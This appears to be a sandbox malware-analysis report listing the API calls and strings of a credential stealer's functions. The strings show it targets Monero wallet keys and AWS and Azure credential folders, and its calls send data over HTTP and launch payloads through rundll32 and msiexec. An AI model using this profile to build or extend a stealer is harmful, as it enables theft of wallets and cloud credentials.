RtlAllocateHeap.NTDLL(00000000), ref: 001C5E9A
lstrlen.KERNEL32(00000000), ref: 001C5EAF
lstrlen.KERNEL32(00000000), ref: 001C5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001C5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 001C5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 001C5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 001C5F4C
InternetCloseHandle.WININET(00000000), ref: 001C5FB0
InternetCloseHandle.WININET(00000000), ref: 001C5FBD
HttpOpenRequestA.WININET(00000000,00E3E948,?,00E3E3A0,00000000,00000000,00400100,00000000), ref: 001C5BF8

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

InternetCloseHandle.WININET(00000000), ref: 001C5FC7

Strings

", xrefs: 001C5E16
H, xrefs: 001C5BEA
, xrefs: 001C5CAC
(, xrefs: 001C5DED
------, xrefs: 001C5D4C
(, xrefs: 001C5A08
------, xrefs: 001C5C0B
------, xrefs: 001C5A96
", xrefs: 001C5CD5

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$($($------$------$------$H$
API String ID: 874700897-3552240116
Opcode ID: b86f0f56b74fbc9d124d88caa640e3e42f8ab90b1a0164ed50e99da390e9a285
Instruction ID: bd28d329da05928956c2bc41444da3b47692ebb60b9073e61b19f274c68e5d66
Opcode Fuzzy Hash: b86f0f56b74fbc9d124d88caa640e3e42f8ab90b1a0164ed50e99da390e9a285
Instruction Fuzzy Hash: 7A122271820168ABDB19EBA0DCA5FEE7378BF24701F8041AAF50673191EF706A49CF55

Function 001CCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Part of subcall function 001D8B60: GetSystemTime.KERNEL32(001E0E1A,00E3A280,001E05AE,?,?,001C13F9,?,0000001A,001E0E1A,00000000,?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001D8B86

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001CCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 001CD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 001CD0CE
lstrcat.KERNEL32(?,00000000), ref: 001CD208
lstrcat.KERNEL32(?,001E1478), ref: 001CD217
lstrcat.KERNEL32(?,00000000), ref: 001CD22A
lstrcat.KERNEL32(?,001E147C), ref: 001CD239
lstrcat.KERNEL32(?,00000000), ref: 001CD24C
lstrcat.KERNEL32(?,001E1480), ref: 001CD25B
lstrcat.KERNEL32(?,00000000), ref: 001CD26E
lstrcat.KERNEL32(?,001E1484), ref: 001CD27D
lstrcat.KERNEL32(?,00000000), ref: 001CD290
lstrcat.KERNEL32(?,001E1488), ref: 001CD29F
lstrcat.KERNEL32(?,00000000), ref: 001CD2B2
lstrcat.KERNEL32(?,001E148C), ref: 001CD2C1
lstrcat.KERNEL32(?,00000000), ref: 001CD2D4
lstrcat.KERNEL32(?,001E1490), ref: 001CD2E3

Part of subcall function 001DA820: lstrlen.KERNEL32(001C4F05,?,?,001C4F05,001E0DDE), ref: 001DA82B
Part of subcall function 001DA820: lstrcpy.KERNEL32(001E0DDE,00000000), ref: 001DA885

lstrlen.KERNEL32(?), ref: 001CD32A
lstrlen.KERNEL32(?), ref: 001CD339

Part of subcall function 001DAA70: StrCmpCA.SHLWAPI(00E38ED0,001CA7A7,?,001CA7A7,00E38ED0), ref: 001DAA8F

DeleteFileA.KERNEL32(00000000), ref: 001CD3B4

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: f047c622f00610c9ca8de71fd143c19f14e163f81d16eaff0d8738028ab57926
Instruction ID: 4d06bf507ca74a6116ab75695c20b0474f942abba1576efd66114a49e5d7fb26
Opcode Fuzzy Hash: f047c622f00610c9ca8de71fd143c19f14e163f81d16eaff0d8738028ab57926
Instruction Fuzzy Hash: B7E16F72810218ABCB04FBA0DD96EEE7338BF24301F904169F507B7291DF35AA15DB66

Function 001D8320 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

RegOpenKeyExA.ADVAPI32(00000000,00E3B528,00000000,00020019,00000000,001E05B6), ref: 001D83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 001D8426
wsprintfA.USER32 ref: 001D8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 001D847B
RegCloseKey.ADVAPI32(00000000), ref: 001D848C
RegCloseKey.ADVAPI32(00000000), ref: 001D8499

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

Strings

%s\%s, xrefs: 001D844D
?, xrefs: 001D837A
- , xrefs: 001D85A3
, xrefs: 001D858C

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $ $%s\%s$?
API String ID: 3246050789-1613996215
Opcode ID: 50a8d11458ab744efdf9285bae1c0de2d814fac27774b8ee2d80616e688cb7e9
Instruction ID: c9df9a9b01e2b92fdee8e068cd88abf40695c5a031d056df881d44b5eb0bb462
Opcode Fuzzy Hash: 50a8d11458ab744efdf9285bae1c0de2d814fac27774b8ee2d80616e688cb7e9
Instruction Fuzzy Hash: 75811F71910228ABDB28DF54CD95FEA77B8FF18700F4082D9E509A6240DF71AB85CF95

Function 001CC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00E3D1F8,00000000,?,001E144C,00000000,?,?), ref: 001CCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 001CCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 001CCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 001CCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 001CCAD9
StrStrA.SHLWAPI(?,00E3D2D0,001E0B52), ref: 001CCAF7
StrStrA.SHLWAPI(00000000,00E3D210), ref: 001CCB1E
StrStrA.SHLWAPI(?,00E3DAC0,00000000,?,001E1458,00000000,?,00000000,00000000,?,00E38F00,00000000,?,001E1454,00000000,?), ref: 001CCCA2
StrStrA.SHLWAPI(00000000,00E3DA80), ref: 001CCCB9

Part of subcall function 001CC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 001CC871
Part of subcall function 001CC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 001CC87C

StrStrA.SHLWAPI(?,00E3DA80,00000000,?,001E145C,00000000,?,00000000,00E39010), ref: 001CCD5A
StrStrA.SHLWAPI(00000000,00E39090), ref: 001CCD71

Part of subcall function 001CC820: lstrcat.KERNEL32(?,001E0B46), ref: 001CC943
Part of subcall function 001CC820: lstrcat.KERNEL32(?,001E0B47), ref: 001CC957
Part of subcall function 001CC820: lstrcat.KERNEL32(?,001E0B4E), ref: 001CC978

lstrlen.KERNEL32(00000000), ref: 001CCE44
CloseHandle.KERNEL32(00000000), ref: 001CCE9C

Strings

, xrefs: 001CC9C6

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 2006263ec960d4714c5ec74ffb3ecd9872b1f757be97b84ee78810620d2e8ea2
Instruction ID: 528c9720f4476e76c469a1afc1f65a996345cc9b218cbd37d2cfc54a34d5042b
Opcode Fuzzy Hash: 2006263ec960d4714c5ec74ffb3ecd9872b1f757be97b84ee78810620d2e8ea2
Instruction Fuzzy Hash: 09E14771C00158ABDB14EBA4DD95FEE7778AF24300F80416AF50677291EF306A4ACF66

Function 001D4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001D8E0B

lstrcat.KERNEL32(?,00000000), ref: 001D4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 001D4DCD

Part of subcall function 001D4910: wsprintfA.USER32 ref: 001D492C
Part of subcall function 001D4910: FindFirstFileA.KERNEL32(?,?), ref: 001D4943

lstrcat.KERNEL32(?,00000000), ref: 001D4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 001D4E59

Part of subcall function 001D4910: StrCmpCA.SHLWAPI(?,001E0FDC), ref: 001D4971
Part of subcall function 001D4910: StrCmpCA.SHLWAPI(?,001E0FE0), ref: 001D4987
Part of subcall function 001D4910: FindNextFileA.KERNEL32(000000FF,?), ref: 001D4B7D
Part of subcall function 001D4910: FindClose.KERNEL32(000000FF), ref: 001D4B92

lstrcat.KERNEL32(?,00000000), ref: 001D4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 001D4EE5

Part of subcall function 001D4910: wsprintfA.USER32 ref: 001D49B0
Part of subcall function 001D4910: StrCmpCA.SHLWAPI(?,001E08D2), ref: 001D49C5
Part of subcall function 001D4910: wsprintfA.USER32 ref: 001D49E2
Part of subcall function 001D4910: PathMatchSpecA.SHLWAPI(?,?), ref: 001D4A1E
Part of subcall function 001D4910: lstrcat.KERNEL32(?,00E3EAB8), ref: 001D4A4A
Part of subcall function 001D4910: lstrcat.KERNEL32(?,001E0FF8), ref: 001D4A5C
Part of subcall function 001D4910: lstrcat.KERNEL32(?,?), ref: 001D4A70
Part of subcall function 001D4910: lstrcat.KERNEL32(?,001E0FFC), ref: 001D4A82
Part of subcall function 001D4910: lstrcat.KERNEL32(?,?), ref: 001D4A96
Part of subcall function 001D4910: CopyFileA.KERNEL32(?,?,00000001), ref: 001D4AAC
Part of subcall function 001D4910: DeleteFileA.KERNEL32(?), ref: 001D4B31

Strings

\.aws\, xrefs: 001D4E4D
Azure\.IdentityService, xrefs: 001D4EEB
Azure\.aws, xrefs: 001D4E5F
*.*, xrefs: 001D4DD8
Azure\.azure, xrefs: 001D4DD3
*.*, xrefs: 001D4E64
\.IdentityService\, xrefs: 001D4ED9
\.azure\, xrefs: 001D4DC1
msal.cache, xrefs: 001D4EF0

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 39f3ce348de73e09cd7b5e0819815f67d12e43c96d2673afde11992b039fb5b9
Instruction ID: 679b5e13bd04e69677b741882de2c60efd879519a6d26828af24764c39c4884e
Opcode Fuzzy Hash: 39f3ce348de73e09cd7b5e0819815f67d12e43c96d2673afde11992b039fb5b9
Instruction Fuzzy Hash: 0F41B17A94025867CB10F770DC47FED3338AB75700F4044A4B589661C2EFB49BC98B92

Function 001D9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 001D906C

Strings

image/jpeg, xrefs: 001D9136

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: be18e5f90ecb0e4f6af53a4f9e90bce9257f5d9acf907dba24284b2526c4eb0e
Instruction ID: 254b9fa1824602b73afabc77f72379dbb87b8c8e613d3a5df276e79038bd2b9e
Opcode Fuzzy Hash: be18e5f90ecb0e4f6af53a4f9e90bce9257f5d9acf907dba24284b2526c4eb0e
Instruction Fuzzy Hash: 9471F9B5A10208ABDB04EFE4DD89FEEB7B8BF58300F108518F516A7290DB34E905CB65

Function 001D2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

ShellExecuteEx.SHELL32(0000003C), ref: 001D31C5
ShellExecuteEx.SHELL32(0000003C), ref: 001D335D
ShellExecuteEx.SHELL32(0000003C), ref: 001D34EA

Strings

<, xrefs: 001D3490
.msi, xrefs: 001D3398
C:\Windows\system32\rundll32.exe, xrefs: 001D3332
/passive, xrefs: 001D345B
.dll, xrefs: 001D31E5
/i ", xrefs: 001D33E4
C:\Windows\system32\msiexec.exe, xrefs: 001D34BF
"" , xrefs: 001D309A

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 311bde9e6e7f60ece6d0fea23f9dde12e4be1c49f7b6ac2414ed586481c757f4
Instruction ID: a0018f5e7bf88ff4f94305a5ad43e1d39999ed3e620f65d2a5fd6b52a34daad8
Opcode Fuzzy Hash: 311bde9e6e7f60ece6d0fea23f9dde12e4be1c49f7b6ac2414ed586481c757f4
Instruction Fuzzy Hash: 831246718001589ADB09FBA0DCA2FDEB738AF34300F90416AF50676291EF742B4ACF56

Function 001D52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

Part of subcall function 001C6280: InternetOpenA.WININET(001E0DFE,00000001,00000000,00000000,00000000), ref: 001C62E1
Part of subcall function 001C6280: StrCmpCA.SHLWAPI(?,00E3EA28), ref: 001C6303
Part of subcall function 001C6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001C6335
Part of subcall function 001C6280: HttpOpenRequestA.WININET(00000000,GET,?,00E3E3A0,00000000,00000000,00400100,00000000), ref: 001C6385
Part of subcall function 001C6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001C63BF
Part of subcall function 001C6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001C63D1

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001D5318
lstrlen.KERNEL32(00000000), ref: 001D532F

Part of subcall function 001D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001D8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 001D5364
lstrlen.KERNEL32(00000000), ref: 001D5383
lstrlen.KERNEL32(00000000), ref: 001D53AE

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Strings

ERROR, xrefs: 001D530A
ERROR, xrefs: 001D54A9
ERROR, xrefs: 001D546F
ERROR, xrefs: 001D53B9
ERROR, xrefs: 001D5432

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
